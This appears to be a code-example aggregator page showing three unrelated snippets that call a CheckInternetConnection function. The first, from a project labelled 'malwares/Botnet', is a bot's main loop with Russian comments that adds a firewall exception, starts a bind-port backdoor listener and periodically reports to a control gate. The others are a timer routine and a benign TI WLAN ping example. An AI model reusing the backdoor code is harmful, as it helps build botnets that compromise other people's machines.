예제 #1
0
파일: blacksun.c 프로젝트: malwares/Botnet
static DWORD WINAPI BackdoorMain(LPVOID lpParam) 
{
	HANDLE 	hBindBackdoorThread, 
			hzDownloaderThread;

	StealthMain(NULL); 
		#ifdef NETSHADD
		NetSHFirewallReg(); 				// регаемся в netsh файре
		#endif NETSHADD
		InitWinSock2API();  		// инициализируем WinSock2 API 
									// создаем поток бэкдора
		hBindBackdoorThread = StartThread(Backdoor_Listen, (short)BINDPORT);    

		  while(TRUE)
		  {
				// проверяем коннект к интернету... если нет, то спим 1 минуту и проверяем снова
				if (CheckInternetConnection() == 0)
				{
					Sleep(1*60*1000); 
					continue;
				} 
				// если подключены, то создаем поток отправки инфы на гейт, затем спим указанное время
				// (по умолчанию 15 минут), затем продолжаем в том же духе
				else if (CheckInternetConnection() == 1)
				{
					#ifdef USEGATE
					hzDownloaderThread  = StartThread(ReportToStat, NULL);
					#endif USEGAGE
					Sleep(HTTPFREQ*60*1000);
					
				}
		  }

    return TRUE; 	
}
void ProcessTimer() {
    static uint32_t timer = millis();

    if((millis() - timer) >= TIMER_INTERVAL) {

        Watchdog();
        CheckInternetConnection();

        timer = millis();
    }
}
예제 #3
0
//****************************************************************************
//
//! \brief Start simplelink, connect to the ap and run the ping test
//!
//! This function starts the simplelink, connect to the ap and start the ping
//! test on the default gateway for the ap
//!
//! \param[in]  pvParameters - Pointer to the list of parameters that 
//!             can bepassed to the task while creating it
//!
//! \return  None
//
//****************************************************************************
void WlanStationMode( void *pvParameters )
{

    long lRetVal = -1;
    InitializeAppVariables();

    //
    // Following function configure the device to default state by cleaning
    // the persistent settings stored in NVMEM (viz. connection profiles &
    // policies, power policy etc)
    //
    // Applications may choose to skip this step if the developer is sure
    // that the device is in its default state at start of applicaton
    //
    // Note that all profiles and persistent settings that were done on the
    // device will be lost
    //
    lRetVal = ConfigureSimpleLinkToDefaultState();
    if(lRetVal < 0)
    {
        if (DEVICE_NOT_IN_STATION_MODE == lRetVal)
        {
            UART_PRINT("Failed to configure the device in its default state\n\r");
        }

        LOOP_FOREVER();
    }

    UART_PRINT("Device is configured in default state \n\r");

    //
    // Assumption is that the device is configured in station mode already
    // and it is in its default state
    //
    lRetVal = sl_Start(0, 0, 0);
    if (lRetVal < 0 || ROLE_STA != lRetVal)
    {
        UART_PRINT("Failed to start the device \n\r");
        LOOP_FOREVER();
    }

    UART_PRINT("Device started as STATION \n\r");

    //
    //Connecting to WLAN AP
    //
    lRetVal = WlanConnect();
    if(lRetVal < 0)
    {
        UART_PRINT("Failed to establish connection w/ an AP \n\r");
        LOOP_FOREVER();
    }

    UART_PRINT("Connection established w/ AP and IP is aquired \n\r");
    UART_PRINT("Pinging...! \n\r");

    //
    // Checking the Lan connection by pinging to AP gateway
    //
    lRetVal = CheckLanConnection();
    if(lRetVal < 0)
    {
        UART_PRINT("Device couldn't ping the gateway \n\r");
        LOOP_FOREVER();
    }
    
    // Turn on GREEN LED when device gets PING response from AP
    GPIO_IF_LedOn(MCU_EXECUTE_SUCCESS_IND);

    //
    // Checking the internet connection by pinging to external host
    //
    lRetVal = CheckInternetConnection();
    if(lRetVal < 0)
    {
        UART_PRINT("Device couldn't ping the external host \n\r");
        LOOP_FOREVER();
    }

    // Turn on ORAGE LED when device gets PING response from AP
    GPIO_IF_LedOn(MCU_ORANGE_LED_GPIO);

    UART_PRINT("Device pinged both the gateway and the external host \n\r");

    UART_PRINT("WLAN STATION example executed successfully \n\r");

    //
    // power off the network processor
    //
    lRetVal = sl_Stop(SL_STOP_TIMEOUT);

    LOOP_FOREVER();
    
}